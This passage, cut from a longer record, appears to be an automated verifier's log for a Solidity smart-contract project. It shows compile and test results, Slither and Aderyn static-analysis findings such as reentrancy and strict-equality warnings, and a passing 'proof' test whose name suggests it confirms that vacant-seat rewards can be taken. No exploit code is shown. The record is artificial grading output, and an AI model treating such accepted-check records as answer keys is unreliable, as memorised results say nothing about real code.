1621915)\n[PASS] test_sweep_takerGetsNothingBookedBeforeItsTenure() (gas: 1550109)\nSuite result: ok. 65 passed; 0 failed; 0 skipped; finished in 91.18ms (294.94ms CPU time)\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 5340704)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 4912615)\n[PASS] test_deploy_withMocks() (gas: 6230541)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 103.10ms (2.30ms CPU time)\n\nRan 17 tests for test/SeatLease.revision3.t.sol:SeatLeaseRevision3Test\n[PASS] testFuzz_exitSettlesUnderOutgoingSplit(uint16,uint96,uint8) (runs: 256, μ: 1855278, ~: 1846053)\nLogs:\n  Bound result 1168\n  Bound result 14696\n  Bound result 0\n\n[PASS] testFuzz_takeSkimSweepQuitCannotTakeVacantRewards(uint16,uint96,bool) (runs: 256, μ: 1616279, ~: 1651234)\nLogs:\n  Bound result 14\n  Bound result 14264337593543950332\n\n[PASS] test_claimAndSkimWarmupBoundaryAndRetakeResetsIt() (gas: 2268458)\n[PASS] test_creditStillSharesImmediatelyDuringWarmup() (gas: 1096899)\n[PASS] test_instantQuitAndRetakeRejectsOldAttestation_documented() (gas: 1422502)\n[PASS] test_permissionedCutThenSkimOrClaimCannotReassignHolderRewards() (gas: 1648121)\n[PASS] test_plainTransferToHolderLocksSeat_documented() (gas: 1137959)\n[PASS] test_setRewardTokensEventViewAndActivation() (gas: 1270804)\n[PASS] test_setRewardTokensRejectsUnauthorizedMissingTooManyDuplicatesAndInvalidTokens() (gas: 1352359)\n[PASS] test_settlementCannotReenterTermsChangeDuringTake() (gas: 2566259)\n[PASS] test_settlementMeasuresFeeTokenReceipts() (gas: 2094283)\n[PASS] test_sweepForPaysHeavyReceiverAfterBoundedSweepRetainsShare() (gas: 1686927)\n[PASS] test_sweepForWithFullGasRemainsReentrancyGuarded() (gas: 1430359)\n[PASS] test_takeSettlesVacantBalancesEvenIfOperatorWaitsToSkim() (gas: 1577190)\n[PASS] test_untransferableDeclaredTokenRevertsSettlementAtomically_documented() (gas: 2695127)\n[PASS] test_warmupProtectsAccountKeyedClaimsAfterTake() (gas: 1892419)\n[PASS] test_withdrawSettlesVacantRewardsAndClearsListBeforeNewOwner() (gas: 1848741)\nSuite result: ok. 17 passed; 0 failed; 0 skipped; finished in 103.07ms (213.13ms CPU time)\n\nRan 66 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 1170677, ~: 1170987)\nLogs:\n  Bound result 485014392054798808946\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 1059251, ~: 1059251)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 995513, ~: 995513)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 765561, ~: 808341)\nLogs:\n  Bound result 3\n\n[PASS] test_constructor_recordsParameters() (gas: 76016)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 2080698)\n[PASS] test_cut_returnsBondToOperator() (gas: 1186578)\n[PASS] test_cut_revertsForNonOwner() (gas: 1058934)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39779)\n[PASS] test_cut_revertsWhenVacant() (gas: 900105)\n[PASS] test_deposit_acceptsMaxListing() (gas: 937279)\n[PASS] test_deposit_holderIsDeterministicAndReused() (gas: 2065665)\n[PASS] test_deposit_longAfterWithdrawIsActiveAtOnce() (gas: 1440280)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 962112)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 1373761)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 1383330)\n[PASS] test_deposit_revertsOnBadBps() (gas: 671513)\n[PASS] test_deposit_revertsOnLongListing() (gas: 673059)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 900729)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50482)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 1372988)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 797790)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 1368440)\n[PASS] test_holder_onlyRegistryMayDrive() (gas: 988940)\n[PASS] test_holder_releaseEthRevertsWhenRegistryCannotReceive() (gas: 213574)\n[PASS] test_onERC721Received_holderRejectsDirectCall() (gas: 891042)\n[PASS] test_onERC721Received_holderRejectsDirectTransferOfSeatNft() (gas: 1178247)\n[PASS] test_onERC721Received_holderRejectsOtherCollections() (gas: 1013222)\n[PASS] test_onERC721Received_registryRefusesEveryNft() (gas: 85183)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1895244)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1894342)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1908393)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 994210)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 1154831)\n[PASS] test_quit_revertsForNonOperator() (gas: 1091611)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 930643)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41750)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39721)\n[PASS] test_redeposit_afterWithdrawStartsClean() (gas: 1334832)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 1282148)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 902167)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 938987)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 41983)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 1063028)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 984576)\n[PASS] test_take_frontRunWithSwappedOracleSignerDoesNotSeatTheVictim() (gas: 1119289)\n[PASS] test_take_isReentrancyGuarded() (gas: 1736206)\n[PASS] test_take_open_anyoneMayTake() (gas: 1057112)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1797322)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 1099895)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 915357)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 973484)\n[PASS] test_take_permissionedIsDelayedToo() (gas: 1050192)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 967572)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 1035521)\n[PASS] test_take_refusedAfterWithdrawAndRedepositUntilDelayPasses() (gas: 1508980)\n[PASS] test_take_refusedUntilChangedTermsAreActive() (gas: 1277681)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39835)\n[PASS] test_take_revertsWhenOccupied() (gas: 1110269)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 1190243)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 1006445)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 900126)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 1074582)\n[PASS] test_withdraw_worksForContractOwnerWithoutReceiverHook() (gas: 1271693)\nSuite result: ok. 66 passed; 0 failed; 0 skipped; finished in 103.36ms (318.53ms CPU time)\n\nRan 1 test for test/SeatLease.invariants.t.sol:SeatLeaseInvariantTest\n[PASS]\nSeatLeaseInvariantTest invariants:\n[PASS] invariant_bondOnlyWhileOccupied\n[PASS] invariant_nftHeldIffDeposited\n[PASS] invariant_sharesSumToCredited\n[PASS] invariant_solvent\n[PASS] invariant_sweptNeverExceedsCredited\n SeatLeaseInvariantTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭----------+--------------+-------+---------+----------╮\n| Contract | Selector     | Calls | Reverts | Discards |\n+======================================================+\n| Handler  | claim        | 164   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | credit       | 155   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | cut          | 158   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | deposit      | 173   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | passTime     | 147   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | pushToHolder | 159   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | quit         | 155   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | setTerms     | 164   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | skim         | 156   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | sweep        | 158   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | sweepFor     | 168   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | take         | 133   | 0       | 0        |\n|----------+--------------+-------+---------+----------|\n| Handler  | withdraw     | 158   | 0       | 0        |\n╰----------+--------------+-------+---------+----------╯\n\nLogs:\n  Bound result 4513\n  Bound result 332181982545256410490\n  Bound result 6883\n  Bound result 4069\n  Bound result 20\n  Bound result 773\n  Bound result 2\n  Bound result 5064\n  Bound result 583195168091929876408\n  Bound result 681313805408906633867\n  Bound result 628241820643813794\n  Bound result 6780\n  Bound result 200\n  Bound result 7\n  Bound result 10324\n  Bound result 2799\n  Bound result 2675\n  Bound result 7200\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.43s (2.43s CPU time)\n\nRan 7 test suites in 2.43s (2.92s CPU time): 197 tests passed, 0 failed, 0 skipped (197 total tests)\n","passed":true},{"durationMs":96,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"LaunchToken.approve(address,uint256)\",\"LaunchToken.transfer(address,uint256)\",\"LaunchToken.transferFrom(address,address,uint256)\",\"SeatHolder.execute(address,bytes)\",\"SeatHolder.receive()\",\"SeatHolder.release(address,uint256)\",\"SeatHolder.releaseNft(address)\",\"SeatLease.claim(uint256,address,bytes,address[])\",\"SeatLease.credit(uint256,address,uint256)\",\"SeatLease.cut(uint256)\",\"SeatLease.cutByOracle(uint256,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint64,uint64),bytes)\",\"SeatLease.deposit(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.quit(uint256)\",\"SeatLease.receive()\",\"SeatLease.redeemBond()\",\"SeatLease.setRewardTokens(uint256,address[])\",\"SeatLease.setTerms(uint256,uint16,uint8,address,uint256,address,bytes32,string)\",\"SeatLease.skim(uint256,address)\",\"SeatLease.sweep(uint256,address)\",\"SeatLease.sweepFor(uint256,address,address)\",\"SeatLease.take(uint256)\",\"SeatLease.withdraw(uint256)\"],\"files\":{\".gas-snapshot\":201,\"README.md\":477,\"REVIEW.md\":256,\"deployments/anvil-31337.json\":64,\"deployments/anvil-revision3-31337.json\":39,\"foundry.toml\":48,\"remappings.txt\":2,\"script/Deploy.s.sol\":69,\"src/LaunchToken.sol\":17,\"src/SeatHolder.sol\":79,\"src/SeatLease.sol\":893,\"src/mocks/MockDistributor.sol\":44,\"src/mocks/MockERC20.sol\":13,\"src/mocks/MockSeatNFT.sol\":13,\"test/Deploy.t.sol\":101,\"test/LaunchToken.t.sol\":35,\"test/SeatLease.invariants.t.sol\":344,\"test/SeatLease.lifecycle.t.sol\":879,\"test/SeatLease.revision3.t.sol\":411,\"test/SeatLease.rewards.t.sol\":1036,\"test/SeatLease.signatures.t.sol\":574,\"test/utils/Actors.sol\":318,\"test/utils/Base.sol\":202},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":5292,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/SeatLease.sol:491: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#491-521):\n[medium/high] incorrect-equality at src/SeatLease.sol:526: SeatLease.skim(uint256,address) (src/SeatLease.sol#526-532) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SeatLease.sol:462: SeatLease.credit(uint256,address,uint256) (src/SeatLease.sol#462-479) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/SeatLease.sol:787: SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#787-808) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:380: Reentrancy in SeatLease.quit(uint256) (src/SeatLease.sol#380-387):\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:405: Reentrancy in SeatLease.cutByOracle(uint256,SeatLease.OracleAttestation,bytes) (src/SeatLease.sol#405-437):\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:391: Reentrancy in SeatLease.cut(uint256) (src/SeatLease.sol#391-399):\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:537: Reentrancy in SeatLease.sweep(uint256,address) (src/SeatLease.sol#537-549):\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:775: Reentrancy in SeatLease._settleHolder(uint256) (src/SeatLease.sol#775-782):\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:442: Reentrancy in SeatLease.withdraw(uint256) (src/SeatLease.sol#442-453):\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:354: Reentrancy in SeatLease.take(uint256) (src/SeatLease.sol#354-377):\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:491: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#491-521):\n[medium/medium] reentrancy-no-eth at src/SeatLease.sol:491: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#491-521):\n[medium/medium] uninitialized-local at src/SeatLease.sol:876: SeatLease._isValid(bytes32,bytes,address).operatorSignature (src/SeatLease.sol#876) is a local variable never initialized\n[medium/medium] uninitialized-local at src/SeatLease.sol:875: SeatLease._isValid(bytes32,bytes,address).auth (src/SeatLease.sol#875) is a local variable never initialized\n[medium/medium] unused-return at src/SeatLease.sol:874: SeatLease._isValid(bytes32,bytes,address) (src/SeatLease.sol#874-892) ignores return value by (recovered,err,None) = ECDSA.tryRecover(hash,operatorSignature) (src/SeatLease.sol#889)\n[low/medium] missing-zero-check at src/SeatHolder.sol:47: SeatHolder.execute(address,bytes).target (src/SeatHolder.sol#47) lacks a zero-check on :\n[low/medium] calls-loop at src/SeatLease.sol:826: SeatLease._balanceOf(address,address) (src/SeatLease.sol#826-828) has external calls inside a loop: IERC20(token).balanceOf(account) (src/SeatLease.sol#827)\n[low/medium] calls-loop at src/SeatLease.sol:787: SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#787-808) has external calls inside a loop: holder.release(token,amount) (src/SeatLease.sol#800)\n[low/medium] calls-loop at src/SeatLease.sol:840: SeatLease._answersBalanceOf(address) (src/SeatLease.sol#840-843) has external calls inside a loop: (ok,ret) = target.staticcall(abi.encodeCall(IERC20.balanceOf,(address(this)))) (src/SeatLease.sol#841)\n[low/medium] calls-loop at src/SeatLease.sol:787: SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#787-808) has external calls inside a loop: holder.release(token,amount) (src/SeatLease.sol#796)\n[low/medium] reentrancy-benign at src/SeatLease.sol:491: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#491-521):\n[low/medium] reentrancy-benign at src/SeatLease.sol:274: Reentrancy in SeatLease.deposit(uint256,uint16,SeatLease.Mode,address,uint256,address,bytes32,string) (src/SeatLease.sol#274-308):\n[low/medium] reentrancy-benign at src/SeatLease.sol:491: Reentrancy in SeatLease.claim(uint256,address,bytes,address[]) (src/SeatLease.sol#491-521):\n[low/medium] reentrancy-benign at src/SeatLease.sol:787: Reentrancy in SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#787-808):\n[low/medium] reentrancy-benign at src/SeatLease.sol:787: Reentrancy in SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#787-808):\n[low/medium] reentrancy-benign at src/SeatLease.sol:775: Reentrancy in SeatLease._settleHolder(uint256) (src/SeatLease.sol#775-782):\n[low/medium] reentrancy-events at src/mocks/MockDistributor.sol:32: Reentrancy in MockDistributor.claim() (src/mocks/MockDistributor.sol#32-43):\n[low/medium] timestamp at src/SeatLease.sol:874: SeatLease._isValid(bytes32,bytes,address) (src/SeatLease.sol#874-892) uses timestamp for comparisons\n[low/medium] timestamp at src/SeatLease.sol:274: SeatLease.deposit(uint256,uint16,SeatLease.Mode,address,uint256,address,bytes32,string) (src/SeatLease.sol#274-308) uses timestamp for comparisons\n[low/medium] timestamp at src/SeatLease.sol:354: SeatLease.take(uint256) (src/SeatLease.sol#354-377) uses timestamp for comparisons\n[low/medium] timestamp at src/SeatLease.sol:787: SeatLease._collect(uint256,SeatHolder,address) (src/SeatLease.sol#787-808) uses timestamp for comparisons\n[low/medium] timestamp at src/SeatLease.sol:405: SeatLease.cutByOracle(uint256,SeatLease.OracleAttestation,bytes) (src/SeatLease.sol#405-437) uses timestamp for comparisons","passed":true},{"durationMs":1025,"exitCode":0,"name":"aderyn","output":"[high] contract-locks-ether at src/SeatLease.sol:22: Contract locks Ether without a withdraw function\n[high] eth-send-unchecked-address at src/mocks/MockDistributor.sol:32: ETH transferred without address checks\n[high] reentrancy-state-change at src/SeatLease.sol:286: Reentrancy: State change after external call (4 places)\n[low] costly-loop at src/SeatLease.sol:514: Costly operations inside loop (2 places)\n[low] large-numeric-literal at src/SeatLease.sol:88: Large Numeric Literal (2 places)\n[low] literal-instead-of-constant at src/SeatLease.sol:420: Literal Instead of Constant (3 places)\n[low] push-zero-opcode at src/LaunchToken.sol:2: PUSH0 Opcode (6 places)\n[low] require-revert-in-loop at src/SeatLease.sol:339: Loop Contains `require`/`revert` (3 places)\n[low] state-change-without-event at src/mocks/MockDistributor.sol:26: State Change Without Event\n[low] state-variable-could-be-immutable at src/SeatLease.sol:127: State Variable Could Be Immutable (2 places)\n[low] unchecked-return at src/SeatLease.sol:495: Unchecked Return (5 places)\n[low] uninitialized-local-variable at src/SeatLease.sol:832: Uninitialized Local Variable\n[low] unsafe-erc20-operation at src/SeatLease.sol:870: Unsafe ERC20 Operation\n[low] unsafe-oz-erc721-mint at src/mocks/MockSeatNFT.sol:11: Unsafe `ERC721::_mint()`\n[low] unspecific-solidity-pragma at src/LaunchToken.sol:2: Unspecific Solidity Pragma (6 places)","passed":true},{"durationMs":3945,"exitCode":0,"name":"proof 327c1ca4a774","output":"Compiling 59 files with Solc 0.8.26\nSolc 0.8.26 finished in 2.98s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-271fd0bc/Proof_327c1ca4a774.t.sol:SkimVacantTest\n[PASS] test_takeSkimSweepQuitTakesVacantRewards() (gas: 487075)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.41ms (223.07µs CPU time)\n\nRan 1 test suite in 4.87ms (1.41ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"7e0b9893d0f24d0fb32172fa0f3a58b261c7e8e908ea7e29b154a475e5c48845","verifiedTreeHash":"df3836ed1f97e3c6709f4493b40b5a708e8008d6","verifierVersion":"0.1.0+042c10fc"},{"checks":[{"durationMs":5769,"exitCode":0,"name":"build","output":"Compiling 68 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.58s\nCompiler run successful!\n","passed":true},{"durationMs":10443,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 879.64µs (605.39µs CPU time)\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 3932675)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 3504564)\n[PASS] test_deploy_withMocks() (gas: 4822402)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 5.16ms (1.23ms CPU time)\n\nRan 33 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 76761, ~: 76744)\nLogs:\n  Bound result 85033007\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13218, ~: 13215)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 40464, ~: 40443)\nLogs:\n  Bound result 27\n\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 117433)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 210419)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 269320)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 190603)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 61489)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 61469)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56014)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 173860)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 295896)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 70356)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 142695)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 59459)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61224)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 131023)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 425575)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 20342)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 47537)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11217)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 82037)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 92231)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 32913)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 53264)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 56165)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 146190)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 61140)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 31345)\n[PASS] test_isValidSignature_rejectsTrailingAndNonCanonicalBytes() (gas: 111411)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 108163)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 372327)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 32137)\nSuite result: ok. 33 passed; 0 failed; 0 skipped; finished in 169.28ms (363.53ms CPU time)\n\nRan 47 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 823653, ~: 824105)\nLogs:\n  Bound result 3196\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 592133, ~: 592925)\nLogs:\n  Bound result 13\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 723560, ~: 724645)\nLogs:\n  Bound result 3\n  Bound result 6964942569433881951945\n\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 581695)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 472125)\n[PASS] test_claim_booksTokenIncrease() (gas: 749221)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 418719)\n[PASS] test_claim_duplicateEthAndTokenEntriesBookOnce() (gas: 586682)\n[PASS] test_claim_duplicateTokenEntriesBookOnce() (gas: 1074263)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 574022)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 612385)\n[PASS] test_claim_forbidsTargetWithoutCode() (gas: 338400)\n[PASS] test_claim_forbidsTokenTargetEvenWhenNothingBooked() (gas: 1764616)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 1585106)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 771184)\n[PASS] test_claim_rejectsSeatNftInTokenList() (gas: 351837)\n[PASS] test_claim_revertsForNonOwner() (gas: 483867)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1287063)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 957107)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43802)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 364908)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 389664)\n[PASS] test_credit_erc20BooksToSeat() (gas: 504223)\n[PASS] test_credit_ethBooksToSeat() (gas: 410786)\n[PASS] test_credit_feeOnTransferBooksReceivedAmount() (gas: 1140302)\n[PASS] test_credit_isReentrancyGuardedViaClaim() (gas: 814592)\n[PASS] test_credit_rejectsSeatNftAsToken() (gas: 474527)\n[PASS] test_credit_revertsOnEthValueMismatch() (gas: 340674)\n[PASS] test_credit_revertsOnEthWithErc20() (gas: 343016)\n[PASS] test_credit_revertsOnZeroAmount() (gas: 335818)\n[PASS] test_credit_revertsWhenNotDeposited() (gas: 46951)\n[PASS] test_credit_revertsWhenNothingArrives() (gas: 821826)\n[PASS] test_credit_revertsWithoutAllowance() (gas: 345188)\n[PASS] test_mockDistributor_fundingAndFailedPayout() (gas: 218326)\n[PASS] test_sweep_allToOperatorAt0() (gas: 780154)\n[PASS] test_sweep_allToOwnerAt10000() (gas: 766499)\n[PASS] test_sweep_allToOwnerWhenVacant() (gas: 662569)\n[PASS] test_sweep_bondTokenAsRewardDoesNotTouchBond() (gas: 765399)\n[PASS] test_sweep_erc20SplitsAt5000() (gas: 829467)\n[PASS] test_sweep_ethSplitsAt5000() (gas: 759143)\n[PASS] test_sweep_isReentrancyGuarded() (gas: 843094)\n[PASS] test_sweep_revertsWhenNotDeposited() (gas: 39890)\n[PASS] test_sweep_revertsWhenNothingBooked() (gas: 335356)\n[PASS] test_sweep_revertsWhenOperatorRejectsEth() (gas: 834832)\n[PASS] test_sweep_revertsWhenOwnerRejectsEth() (gas: 556698)\n[PASS] test_sweep_roundsDustToOperator() (gas: 704205)\n[PASS] test_sweep_unsweptBalanceGoesToOwnerAfterCut() (gas: 813135)\nSuite result: ok. 47 passed; 0 failed; 0 skipped; finished in 169.36ms (470.83ms CPU time)\n\nRan 56 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 576345, ~: 578117)\nLogs:\n  Bound result 333750993289079084165\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 480240, ~: 480240)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 423925, ~: 423925)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 209410, ~: 241911)\nLogs:\n  Bound result 171\n\n[PASS] test_constructor_recordsParameters() (gas: 56806)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 1486443)\n[PASS] test_cut_returnsBondToOperator() (gas: 590397)\n[PASS] test_cut_revertsForNonOwner() (gas: 479923)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39846)\n[PASS] test_cut_revertsWhenVacant() (gas: 333652)\n[PASS] test_deposit_acceptsMaxListing() (gas: 367968)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 352822)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 808461)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 817864)\n[PASS] test_deposit_revertsOnBadBps() (gas: 126061)\n[PASS] test_deposit_revertsOnLongListing() (gas: 127674)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 334232)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50416)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 806580)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 231941)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 785306)\n[PASS] test_onERC721Received_rejectsDirectCall() (gas: 14026)\n[PASS] test_onERC721Received_rejectsDirectTransferOfSeatNft() (gas: 88219)\n[PASS] test_onERC721Received_rejectsOtherCollections() (gas: 145028)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1303941)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1303018)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1317091)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 400152)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 561079)\n[PASS] test_quit_revertsForNonOperator() (gas: 512600)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 364343)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41749)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39654)\n[PASS] 